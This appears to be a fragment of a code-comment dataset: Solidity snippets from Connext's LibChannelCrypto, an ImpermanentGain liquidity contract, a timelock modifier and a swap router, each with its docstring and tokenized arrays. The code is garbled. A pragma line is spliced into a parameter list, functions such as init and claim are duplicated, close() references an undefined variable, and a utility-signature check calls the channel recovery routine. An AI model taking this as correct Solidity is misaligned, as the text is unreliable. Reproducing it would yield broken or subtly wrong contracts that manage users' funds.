0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
261,
1080,
3778,
389,
529,
16,
533,
3778,
389,
7175,
16,
533,
3778,
6835,
3098,
16,
533,
3778,
389,
2316,
3098,
2244,
13,
4393,
8924,
3098,
12,
16351,
3098,
13,
4232,
39,
27,
5340,
24899,
529,
16,
389,
7175,
13,
2618,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.1;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/// @author Connext <[email protected]>
/// @notice This library contains helpers for recovering signatures from a
/// Vector commitments. Channels do not allow for arbitrary signing of
/// messages to prevent misuse of private keys by injected providers,
/// and instead only sign messages with a Vector channel prefix.
library LibChannelCrypto {
function checkSignature(
bytes32 hash,
bytes memory signature,
address allegedSigner
) internal pure returns (bool) {
return recoverChannelMessageSigner(hash, signature) == allegedSigner;
}
function recoverChannelMessageSigner(bytes32 hash, bytes memory signature)
internal
pure
returns (address)
{
bytes32 digest = toChannelSignedMessage(hash);
return ECDSA.recover(digest, signature);
}
function toChannelSignedMessage(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return
keccak256(abi.encodePacked("\x16Vector Signed Message:\n32", hash));
}
function checkUtilitySignature(
bytes32 hash,
bytes memory signature,
address allegedSigner
) internal pure returns (bool) {
return recoverChannelMessageSigner(hash, signature) == allegedSigner;
}
function recoverUtilityMessageSigner(bytes32 hash, bytes memory signature)
internal
pure
returns (address)
{
bytes32 digest = toUtilitySignedMessage(hash);
return ECDSA.recover(digest, signature);
}
function toUtilitySignedMessage(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return
keccak256(abi.encodePacked("\x17Utility Signed Message:\n32", hash));
}
}
| @author Connext <[email protected]> @notice This library contains helpers for recovering signatures from a Vector commitments. Channels do not allow for arbitrary signing of messages to prevent misuse of private keys by injected providers, and instead only sign messages with a Vector channel prefix. | library LibChannelCrypto {
function checkSignature(
bytes32 hash,
bytes memory signature,
address allegedSigner
pragma solidity ^0.7.1;
) internal pure returns (bool) {
return recoverChannelMessageSigner(hash, signature) == allegedSigner;
}
function recoverChannelMessageSigner(bytes32 hash, bytes memory signature)
internal
pure
returns (address)
{
bytes32 digest = toChannelSignedMessage(hash);
return ECDSA.recover(digest, signature);
}
function toChannelSignedMessage(bytes32 hash)
internal
pure
returns (bytes32)
{
return
keccak256(abi.encodePacked("\x16Vector Signed Message:\n32", hash));
}
function checkUtilitySignature(
bytes32 hash,
bytes memory signature,
address allegedSigner
) internal pure returns (bool) {
return recoverChannelMessageSigner(hash, signature) == allegedSigner;
}
function recoverUtilityMessageSigner(bytes32 hash, bytes memory signature)
internal
pure
returns (address)
{
bytes32 digest = toUtilitySignedMessage(hash);
return ECDSA.recover(digest, signature);
}
function toUtilitySignedMessage(bytes32 hash)
internal
pure
returns (bytes32)
{
return
keccak256(abi.encodePacked("\x17Utility Signed Message:\n32", hash));
}
}
| 5,476,652 | [
1,
3543,
408,
411,
13261,
36,
591,
4285,
18,
5185,
34,
225,
1220,
5313,
1914,
9246,
364,
5910,
310,
14862,
628,
279,
540,
5589,
3294,
1346,
18,
25263,
741,
486,
1699,
364,
11078,
10611,
434,
540,
2743,
358,
5309,
7524,
1202,
434,
3238,
1311,
635,
15776,
9165,
16,
540,
471,
3560,
1338,
1573,
2743,
598,
279,
5589,
1904,
1633,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
10560,
2909,
18048,
288,
203,
565,
445,
866,
5374,
12,
203,
3639,
1731,
1578,
1651,
16,
203,
3639,
1731,
3778,
3372,
16,
203,
3639,
1758,
524,
1935,
329,
15647,
203,
683,
9454,
18035,
560,
3602,
20,
18,
27,
18,
21,
31,
203,
565,
262,
2713,
16618,
1135,
261,
6430,
13,
288,
203,
3639,
327,
5910,
2909,
1079,
15647,
12,
2816,
16,
3372,
13,
422,
524,
1935,
329,
15647,
31,
203,
565,
289,
203,
203,
565,
445,
5910,
2909,
1079,
15647,
12,
3890,
1578,
1651,
16,
1731,
3778,
3372,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
2867,
13,
203,
565,
288,
203,
3639,
1731,
1578,
5403,
273,
358,
2909,
12294,
1079,
12,
2816,
1769,
203,
3639,
327,
7773,
19748,
18,
266,
3165,
12,
10171,
16,
3372,
1769,
203,
565,
289,
203,
203,
565,
445,
358,
2909,
12294,
1079,
12,
3890,
1578,
1651,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
3890,
1578,
13,
203,
565,
288,
203,
3639,
327,
203,
5411,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
31458,
92,
2313,
5018,
16724,
2350,
5581,
82,
1578,
3113,
1651,
10019,
203,
565,
289,
203,
203,
565,
445,
866,
6497,
5374,
12,
203,
3639,
1731,
1578,
1651,
16,
203,
3639,
1731,
3778,
3372,
16,
203,
3639,
1758,
524,
1935,
329,
15647,
203,
565,
262,
2713,
16618,
1135,
261,
6430,
13,
288,
203,
3639,
327,
5910,
2909,
1079,
15647,
12,
2816,
16,
3372,
13,
422,
524,
1935,
329,
15647,
31,
203,
565,
289,
203,
203,
565,
2
]
|
./partial_match/42/0x97Cd56B804E89e825a2EA76E84eEE2842D3D5deb/sources/ImpermanentGain.sol | a + b = $1 b = tokenized put of impermanent loss a = 1 - b | contract ImpermanentGain is ERC20Mintable {
using SafeMath for *;
using SafeERC20 for IERC20;
bool public canBuy;
address public treasury;
address public baseToken;
Oracle public oracle;
uint256 public openTime;
uint256 public closeTime;
uint256 public openPrice;
uint256 public closePrice;
uint256 public constant leverage = 10;
uint256 public constant protocolFee = 100;
uint256 public bPrice;
uint256 public poolA;
uint256 public poolB;
mapping(address => uint256) public a;
mapping(address => uint256) public b;
event Mint(address indexed minter, uint256 amount);
event Burn(address indexed burner, uint256 amount);
event Swap(address indexed user, bool indexed a2b, uint256 input, uint256 output);
event AddLP(address indexed provider, uint256 a, uint256 b, uint256 lp);
event RemoveLP(address indexed provider, uint256 a, uint256 b, uint256 lp);
function init(address _baseToken, address _oracle, address _treasury, uint256 _duration, uint256 _a, uint256 _b) public {
require(openTime == 0, "Initialized");
require(_a > 0 && _b > 0, "No initial liquidity");
baseToken = _baseToken;
oracle = Oracle(_oracle);
treasury = _treasury;
openTime = now;
closeTime = now.add(_duration);
openPrice = uint256(oracle.latestAnswer());
canBuy = true;
name = "iGain LP token";
symbol = "iGLP";
decimals = 18;
uint256 _lp = _a.mul(_b).sqrt();
poolA = _a;
poolB = _b;
_mint(msg.sender, _lp);
if(_b > _a) {
a[msg.sender] = _b.sub(_a);
doTransferIn(baseToken, msg.sender, _b);
}
else {
b[msg.sender] = _a.sub(_b);
doTransferIn(baseToken, msg.sender, _a);
}
emit AddLP(msg.sender, _lp, _a, _b);
}
function init(address _baseToken, address _oracle, address _treasury, uint256 _duration, uint256 _a, uint256 _b) public {
require(openTime == 0, "Initialized");
require(_a > 0 && _b > 0, "No initial liquidity");
baseToken = _baseToken;
oracle = Oracle(_oracle);
treasury = _treasury;
openTime = now;
closeTime = now.add(_duration);
openPrice = uint256(oracle.latestAnswer());
canBuy = true;
name = "iGain LP token";
symbol = "iGLP";
decimals = 18;
uint256 _lp = _a.mul(_b).sqrt();
poolA = _a;
poolB = _b;
_mint(msg.sender, _lp);
if(_b > _a) {
a[msg.sender] = _b.sub(_a);
doTransferIn(baseToken, msg.sender, _b);
}
else {
b[msg.sender] = _a.sub(_b);
doTransferIn(baseToken, msg.sender, _a);
}
emit AddLP(msg.sender, _lp, _a, _b);
}
function init(address _baseToken, address _oracle, address _treasury, uint256 _duration, uint256 _a, uint256 _b) public {
require(openTime == 0, "Initialized");
require(_a > 0 && _b > 0, "No initial liquidity");
baseToken = _baseToken;
oracle = Oracle(_oracle);
treasury = _treasury;
openTime = now;
closeTime = now.add(_duration);
openPrice = uint256(oracle.latestAnswer());
canBuy = true;
name = "iGain LP token";
symbol = "iGLP";
decimals = 18;
uint256 _lp = _a.mul(_b).sqrt();
poolA = _a;
poolB = _b;
_mint(msg.sender, _lp);
if(_b > _a) {
a[msg.sender] = _b.sub(_a);
doTransferIn(baseToken, msg.sender, _b);
}
else {
b[msg.sender] = _a.sub(_b);
doTransferIn(baseToken, msg.sender, _a);
}
emit AddLP(msg.sender, _lp, _a, _b);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
|__________________________________*/
| mint/burn token |
function mint(uint256 amount) external {
require(canBuy, "cannot buy");
a[msg.sender] = a[msg.sender].add(amount);
b[msg.sender] = b[msg.sender].add(amount);
doTransferIn(baseToken, msg.sender, amount);
}
function burn(uint256 amount) external {
require(canBuy, "cannot buy");
a[msg.sender] = a[msg.sender].sub(amount);
b[msg.sender] = b[msg.sender].sub(amount);
doTransferOut(baseToken, msg.sender, amount);
}
function mintA(uint256 amount, uint256 min_a) external returns (uint256 _a) {
require(canBuy, "cannot buy");
_a = getAmountOut(amount, poolB, poolA);
poolB = poolB.add(amount);
poolA = poolA.sub(_a);
emit Swap(msg.sender, false, amount, _a);
_a = _a.add(amount);
require(_a >= min_a, "SLIPPAGE_DETECTED");
a[msg.sender] = a[msg.sender].add(_a);
doTransferIn(baseToken, msg.sender, amount);
}
function burnA(uint256 amount, uint256 max_a) external returns (uint256 _a) {
require(canBuy, "cannot buy");
_a = getAmountIn(amount, poolA, poolB);
poolB = poolB.sub(amount);
poolA = poolA.add(_a);
emit Swap(msg.sender, true, _a, amount);
_a = _a.add(amount);
require(_a <= max_a, "SLIPPAGE_DETECTED");
a[msg.sender] = a[msg.sender].sub(_a);
doTransferOut(baseToken, msg.sender, amount);
}
function mintB(uint256 amount, uint256 min_b) external returns (uint256 _b) {
require(canBuy, "cannot buy");
_b = getAmountOut(amount, poolA, poolB);
poolA = poolA.add(amount);
poolB = poolB.sub(_b);
emit Swap(msg.sender, true, amount, _b);
_b = _b.add(amount);
require(_b >= min_b, "SLIPPAGE_DETECTED");
b[msg.sender] = b[msg.sender].add(_b);
doTransferIn(baseToken, msg.sender, amount);
}
function burnB(uint256 amount, uint256 max_b) external returns (uint256 _b) {
require(canBuy, "cannot buy");
_b = getAmountIn(amount, poolB, poolA);
poolA = poolA.sub(amount);
poolB = poolB.add(_b);
emit Swap(msg.sender, false, _b, amount);
_b = _b.add(amount);
require(_b <= max_b, "SLIPPAGE_DETECTED");
b[msg.sender] = b[msg.sender].sub(_b);
doTransferOut(baseToken, msg.sender, amount);
}
function mintLP(uint256 amount, uint256 min_lp) external returns (uint256 _lp) {
require(canBuy, "cannot buy");
uint256 k = poolA.mul(poolB);
uint256 _k = poolA.add(amount).mul(poolB.add(amount));
_lp = _k.mul(1e36).div(k).sqrt().sub(1e18).mul(_totalSupply).div(1e18);
require(_lp >= min_lp, "SLIPPAGE_DETECTED");
poolA = poolA.add(amount);
poolB = poolB.add(amount);
_mint(msg.sender, _lp);
doTransferIn(baseToken, msg.sender, amount);
emit AddLP(msg.sender, _lp, amount, amount);
}
function burnLP(uint256 amount, uint256 max_lp) external returns (uint256 _lp) {
require(canBuy, "cannot buy");
uint256 k = poolA.mul(poolB);
uint256 _k = poolA.sub(amount).mul(poolB.sub(amount));
_lp = (1e18).sub(_k.mul(1e36).div(k).sqrt()).mul(_totalSupply).div(1e18);
require(_lp <= max_lp, "SLIPPAGE_DETECTED");
poolA = poolA.sub(amount);
poolB = poolB.sub(amount);
_burn(msg.sender, _lp);
doTransferOut(baseToken, msg.sender, amount);
emit RemoveLP(msg.sender, _lp, amount, amount);
}
|__________________________________*/
| swap |
function swapAtoB(uint256 _a, uint256 min_b) external returns (uint256 _b) {
require(canBuy, "cannot buy");
_b = getAmountOut(_a, poolA, poolB);
require(_b >= min_b, "SLIPPAGE_DETECTED");
poolA = poolA.add(_a);
poolB = poolB.sub(_b);
a[msg.sender] = a[msg.sender].sub(_a);
b[msg.sender] = b[msg.sender].add(_b);
emit Swap(msg.sender, true, _a, _b);
}
function swapBtoA(uint256 _b, uint256 min_a) external returns (uint256 _a) {
require(canBuy, "cannot buy");
_a = getAmountOut(_b, poolB, poolA);
require(_a >= min_a, "SLIPPAGE_DETECTED");
poolB = poolB.add(_b);
poolA = poolA.sub(_a);
b[msg.sender] = b[msg.sender].sub(_b);
a[msg.sender] = a[msg.sender].add(_a);
emit Swap(msg.sender, false, _b, _a);
}
|__________________________________*/
| add/remove liquidity |
function depositLP(uint256 _a, uint256 _b, uint256 min_lp) external returns (uint256 _lp) {
require(canBuy, "cannot buy");
uint256 k = poolA.mul(poolB);
uint256 _k = poolA.add(_a).mul(poolB.add(_b));
_lp = _k.mul(1e36).div(k).sqrt().sub(1e18).mul(_totalSupply).div(1e18);
require(_lp >= min_lp, "SLIPPAGE_DETECTED");
poolA = poolA.add(_a);
poolB = poolB.add(_b);
a[msg.sender] = a[msg.sender].sub(_a);
b[msg.sender] = b[msg.sender].sub(_b);
_mint(msg.sender, _lp);
emit AddLP(msg.sender, _lp, _a, _b);
}
function withdrawLP(uint256 _a, uint256 _b, uint256 max_lp) external returns (uint256 _lp) {
require(canBuy, "cannot buy");
uint256 k = poolA.mul(poolB);
uint256 _k = poolA.sub(_a).mul(poolB.sub(_b));
_lp = (1e18).sub(_k.mul(1e36).div(k).sqrt()).mul(_totalSupply).div(1e18);
require(_lp <= max_lp, "SLIPPAGE_DETECTED");
poolA = poolA.sub(_a);
poolB = poolB.sub(_b);
a[msg.sender] = a[msg.sender].add(_a);
b[msg.sender] = b[msg.sender].add(_b);
_burn(msg.sender, _lp);
emit RemoveLP(msg.sender, _lp, _a, _b);
}
|__________________________________*/
| settlement |
function close() external {
require(now >= closeTime, "Not yet");
require(canBuy, "Closed");
canBuy = false;
closePrice = uint256(oracle.latestAnswer());
uint256 ratio = openPrice.mul(1e18).div(closePrice);
bPrice = _bPrice > 1e18 ? 1e18 : _bPrice;
}
function calcIL(uint256 ratio) public pure returns (uint256) {
return (1e18).sub(ratio.mul(1e18).sqrt().mul(2e18).div(ratio.add(1e18)));
}
function claim() external returns (uint256 amount) {
require(!canBuy, "Not yet");
uint256 _lp = _balances[msg.sender];
uint256 _a;
uint256 _b;
if(_lp > 0) {
_a = poolA.mul(_lp).div(_totalSupply);
_b = poolB.mul(_lp).div(_totalSupply);
poolA = poolA.sub(_a);
poolB = poolB.sub(_b);
_burn(msg.sender, _lp);
emit RemoveLP(msg.sender, _lp, _a, _b);
}
_a = _a.add(a[msg.sender]);
_b = _b.add(b[msg.sender]);
a[msg.sender] = 0;
b[msg.sender] = 0;
amount = _a.mul((1e18).sub(bPrice)).add(_b.mul(bPrice)).div(1e18);
doTransferOut(baseToken, msg.sender, amount);
}
function claim() external returns (uint256 amount) {
require(!canBuy, "Not yet");
uint256 _lp = _balances[msg.sender];
uint256 _a;
uint256 _b;
if(_lp > 0) {
_a = poolA.mul(_lp).div(_totalSupply);
_b = poolB.mul(_lp).div(_totalSupply);
poolA = poolA.sub(_a);
poolB = poolB.sub(_b);
_burn(msg.sender, _lp);
emit RemoveLP(msg.sender, _lp, _a, _b);
}
_a = _a.add(a[msg.sender]);
_b = _b.add(b[msg.sender]);
a[msg.sender] = 0;
b[msg.sender] = 0;
amount = _a.mul((1e18).sub(bPrice)).add(_b.mul(bPrice)).div(1e18);
doTransferOut(baseToken, msg.sender, amount);
}
| helper function |
|__________________________________*/
function doTransferIn(address tokenAddr, address from, uint amount) internal {
IERC20 token = IERC20(tokenAddr);
token.safeTransferFrom(from, address(this), amount);
emit Mint(from, amount);
}
function doTransferOut(address tokenAddr, address to, uint amount) internal {
uint256 fee = amount.div(protocolFee);
IERC20 token = IERC20(tokenAddr);
token.safeTransfer(to, amount.sub(fee));
token.safeTransfer(treasury, fee);
emit Burn(to, amount);
}
} | 8,955,116 | [
1,
69,
397,
324,
273,
271,
21,
324,
273,
26073,
1378,
434,
709,
457,
4728,
319,
8324,
279,
273,
404,
300,
324,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
2221,
457,
4728,
319,
43,
530,
353,
4232,
39,
3462,
49,
474,
429,
288,
203,
565,
1450,
14060,
10477,
364,
380,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
565,
1426,
1071,
848,
38,
9835,
31,
203,
203,
565,
1758,
1071,
9787,
345,
22498,
31,
203,
565,
1758,
1071,
1026,
1345,
31,
203,
565,
28544,
1071,
20865,
31,
203,
203,
565,
2254,
5034,
1071,
1696,
950,
31,
203,
565,
2254,
5034,
1071,
1746,
950,
31,
203,
203,
565,
2254,
5034,
1071,
1696,
5147,
31,
203,
565,
2254,
5034,
1071,
1746,
5147,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
884,
5682,
273,
1728,
31,
203,
565,
2254,
5034,
1071,
5381,
1771,
14667,
273,
2130,
31,
203,
203,
565,
2254,
5034,
1071,
324,
5147,
31,
203,
203,
565,
2254,
5034,
1071,
2845,
37,
31,
203,
565,
2254,
5034,
1071,
2845,
38,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
279,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
324,
31,
203,
203,
565,
871,
490,
474,
12,
2867,
8808,
1131,
387,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
605,
321,
12,
2867,
8808,
18305,
264,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
12738,
12,
2867,
8808,
729,
16,
1426,
8808,
279,
22,
70,
16,
2254,
5034,
810,
16,
2254,
5034,
876,
1769,
203,
565,
871,
1436,
14461,
12,
2867,
8808,
2893,
16,
2254,
5034,
279,
16,
2254,
5034,
324,
16,
2254,
5034,
12423,
1769,
203,
565,
871,
2
]
|
./full_match/137/0xb5Ed30B4E899C47D4c68E319cd5c355aE6cb65ee/sources/contracts/PrimexTimelock.sol | * @dev Modifier that allows only the Guardian admin to access the function. Throws an error if the sender does not have the GUARDIAN_ADMIN role./ | modifier onlyGuardian() {
_require(IAccessControl(registry).hasRole(GUARDIAN_ADMIN, msg.sender), Errors.FORBIDDEN.selector);
_;
}
constructor(
uint256 _minDelay,
address[] memory _proposers,
address[] memory _executors,
address _admin,
address _registry
| 4,667,662 | [
1,
9829,
716,
5360,
1338,
326,
22809,
2779,
3981,
358,
2006,
326,
445,
18,
22435,
392,
555,
309,
326,
5793,
1552,
486,
1240,
326,
611,
57,
985,
2565,
1258,
67,
15468,
2478,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1338,
16709,
2779,
1435,
288,
203,
3639,
389,
6528,
12,
45,
16541,
12,
9893,
2934,
5332,
2996,
12,
30673,
985,
2565,
1258,
67,
15468,
16,
1234,
18,
15330,
3631,
9372,
18,
7473,
30198,
18,
9663,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
3885,
12,
203,
3639,
2254,
5034,
389,
1154,
6763,
16,
203,
3639,
1758,
8526,
3778,
389,
685,
917,
414,
16,
203,
3639,
1758,
8526,
3778,
389,
4177,
13595,
16,
203,
3639,
1758,
389,
3666,
16,
203,
3639,
1758,
389,
9893,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/84531/0xC5B5EaF85FA1807AB8662e3801eC6996a3642133/sources/router.sol | performs chained getAmountOut calculations on any number of pairs | function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'TwindexSwapLibrary: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
| 14,318,502 | [
1,
457,
9741,
20269,
24418,
1182,
20882,
603,
1281,
1300,
434,
5574,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
